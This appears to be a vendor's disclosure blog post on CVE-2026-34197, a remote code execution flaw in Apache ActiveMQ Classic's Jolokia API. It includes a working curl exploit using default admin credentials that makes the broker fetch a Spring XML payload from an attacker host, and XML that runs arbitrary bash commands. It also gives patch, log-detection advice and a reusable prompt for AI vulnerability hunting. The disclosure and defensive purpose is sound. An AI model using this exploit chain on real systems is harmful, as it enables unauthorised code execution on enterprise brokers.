Summary
CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic that has been hiding in plain sight for 13 years. An attacker can invoke a management operation through ActiveMQ’s Jolokia API to trick the broker into fetching a remote configuration file and running arbitrary OS commands.
The vulnerability requires credentials, but default credentials (admin:admin) are common in many environments. On some versions (6.0.0–6.1.1), no credentials are required at all due to another vulnerability, CVE-2024-32114, which inadvertently exposes the Jolokia API without authentication. In those versions, CVE-2026-34197 is effectively an unauthenticated RCE.
We recommend organizations running ActiveMQ treat this as a high priority, as ActiveMQ has been a repeated target for real-world attackers, and methods for exploitation and post-exploitation of ActiveMQ are well-known. Both CVE-2016-3088, an authenticated RCE affecting the web console, and CVE-2023-46604, an unauthenticated RCE affecting the broker port, are on CISA’s KEV list.
The vulnerability is patched in ActiveMQ versions 6.2.3 and 5.19.4.
Background
Apache ActiveMQ is an open-source Java message broker, first released in 2004. It’s middleware that’s used for decoupling services and managing message queues across distributed systems. It’s widely deployed across many enterprises, spanning financial services, healthcare, government, and e-commerce environments.
ActiveMQ comes in two flavors: ActiveMQ Classic, the original broker, and ActiveMQ Artemis, a newer implementation. This vulnerability affects Classic only.
The Classic broker ships with a web-based management console on port 8161, powered by the Jetty web server. This console includes Jolokia, an HTTP-to-JMX bridge that exposes broker management operations as a REST API.
In 2023, researchers at ThreatBook reported CVE-2022-41678, showing that an authenticated attacker could invoke JDK MBeans like FlightRecorder through Jolokia to write webshells to disk. The fix for this vulnerability restricted Jolokia to read-only operations by default and denied access to dangerous MBeans, but added a blanket allow for all operations on ActiveMQ’s own MBeans so the web console would keep working.
<allow>
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation>
</mbean>
</allow>CVE-2026-34197 bypasses that fix by exploiting the ActiveMQ MBeans themselves.
The Vulnerability
The <operation>*</operation> allow means every operation on every ActiveMQ MBean is callable through Jolokia. It turns out that one of these operations, addNetworkConnector(String) on the broker MBean, has a path to code execution.
ActiveMQ supports connecting brokers together in a network for load distribution and high availability. addNetworkConnector sets up these broker-to-broker bridges at runtime. You give it a discovery URI and it creates a network connection.
ActiveMQ also supports something called a VM transport (vm://), an in-process transport designed for embedding a broker inside an application. Instead of connecting over TCP, the client and broker communicate through direct method calls within the same JVM. This was originally introduced as an efficiency for unit testing and is intended for lightweight embedded use cases.
When a vm:// URI references a broker that doesn’t exist, ActiveMQ creates one on the fly by default, and it accepts a brokerConfig parameter telling it where to load configuration from, including attacker-controlled remote URLs.
By calling addNetworkConnector through Jolokia with a crafted URI, an attacker can chain these mechanisms together to force the broker to fetch and execute a remote Spring XML configuration file:
curl -s -X POST http://TARGET:8161/api/jolokia/ \
-H "Content-Type: application/json" \
-H "Origin: http://TARGET:8161" \
-u admin:admin \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector",
"arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]
}'The vm:// transport sees a non-existent broker name, so it calls BrokerFactory.createBroker() with the attacker-controlled xbean:http://... URL. The xbean: scheme tells ActiveMQ to treat it as a Spring XML config, and hands it to Spring’s ResourceXmlApplicationContext. This instantiates all bean definitions, resulting in remote code execution.
As an example, the payload XML below uses Spring’s MethodInvokingFactoryBean to call Runtime.getRuntime().exec() to execute arbitrary commands.
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="java.lang.Runtime"/>
<property name="targetMethod" value="getRuntime"/>
</bean>
</property>
<property name="targetMethod" value="exec"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/bash</value>
<value>-c</value>
<value>COMMAND_HERE</value>
</array>
</list>
</property>
</bean>This is the same type of sink used in CVE-2023-46604, which also achieved RCE by forcing ActiveMQ to load a remote Spring XML configuration file.
Unauthenticated on Some Versions (CVE-2024-32114)
The exploit above requires authentication to the Jolokia endpoint, but on some versions of ActiveMQ no credentials are needed at all.
CVE-2024-32114 is a separate vulnerability in ActiveMQ 6.x where the /api/* path, which includes the Jolokia endpoint, was inadvertently removed from the web console’s security constraints. This means Jolokia is completely unauthenticated on ActiveMQ versions 6.0.0 through 6.1.1.
On these versions, CVE-2026-34197 enables unauthenticated remote code execution.
Remediation
The vulnerability is patched in ActiveMQ Classic versions 5.19.4 and 6.2.3. The patch removed the ability for the addNetworkConnector operation to add vm:// transports, as this was never intended to be exposed as a remote operation in the first place. We recommend updating to the latest and also ensuring no default credentials are in use.
Detection
Exploitation leaves clear traces in the ActiveMQ broker logs. Look for network connector activity referencing vm:// URIs with brokerConfig=xbean:http. This is not something that occurs during normal broker operations:
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml
...
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stoppedThe broker will typically repeat these connection attempts several times before the network connector stops. Note that the command execution occurs during the connection attempt — the WARN message about configuration failure appears after the payload has already run.
Other indicators to look for:
- POST requests to
/api/jolokia/containingaddNetworkConnectorin the request body - Outbound HTTP requests from the ActiveMQ broker process to unexpected hosts
- Unexpected child processes spawned by the ActiveMQ Java process
Discovery
These days I always use Claude to take a first pass at source code for vulnerability hunting. I prompt it lightly and set up a target on the network for it to validate findings. A lot of the time, Claude finds interesting stuff but it doesn’t quite rise to the level of a CVE I’d bother reporting. In this case, it did a great job, with nothing more than a couple of basic prompts. This was 80% Claude with 20% gift-wrapping by a human.
In hindsight, the vulnerability is obvious, but you can see why it was missed over the years. It involved multiple components developed independently over time: Jolokia, JMX, network connectors, and VM transports. Each feature in isolation does what it’s supposed to, but they were dangerous together. This is exactly where Claude shone – efficiently stitching together this path end to end with a clear head free of assumptions. Something that would have probably taken me a week manually took Claude 10 minutes.
The good news is that tools like Claude are available to everyone, and I highly recommend app sec engineers and developers leverage them. The floor for vulnerability research, especially discovery of low-complexity vulnerabilities, has dropped by several orders of magnitude in the last 6 months with the latest models, and anyone with a security background can take advantage.
As an example, here’s a simple prompt I start with in a lot of projects:
Analyze this code base for vulnerabilities that can be exploited by a user with no prior privileges.
- Enumerate any endpoints accessible to an unauthenticated, guest, or anonymous user.
- Research prior commits and prior vulnerabilities to identify hot spots in the code.
- Analyze the code, focusing on these vulnerability classes:
- RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI
- Authentication Bypass: consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion
- Broken access control: missing authentication/authorization checks
- Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling
- SSRF: full-read and blind, consider redirect handling and DNS rebinding
- XXE
- SQLi: also consider second order SQLi
- Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker
- Call out any notable bad code smells for further review
Ignore the following vuln classes:
- XSS
- CSRF
- Open Redirect
- Any denial of service (DOS)Timeline
| Date | Event |
| 03/22/26 | Horizon3 reports vulnerability to Apache |
| 03/26/26 | Apache ActiveMQ team acknowledges report and assigns CVE |
| 03/30/26 | ActiveMQ Classic Version 6.2.3 released |
| 04/06/26 | Apache ActiveMQ publishes security advisory |
| 04/07/26 | CVE-2026-34197 published |
| 04/07/26 | This blog post |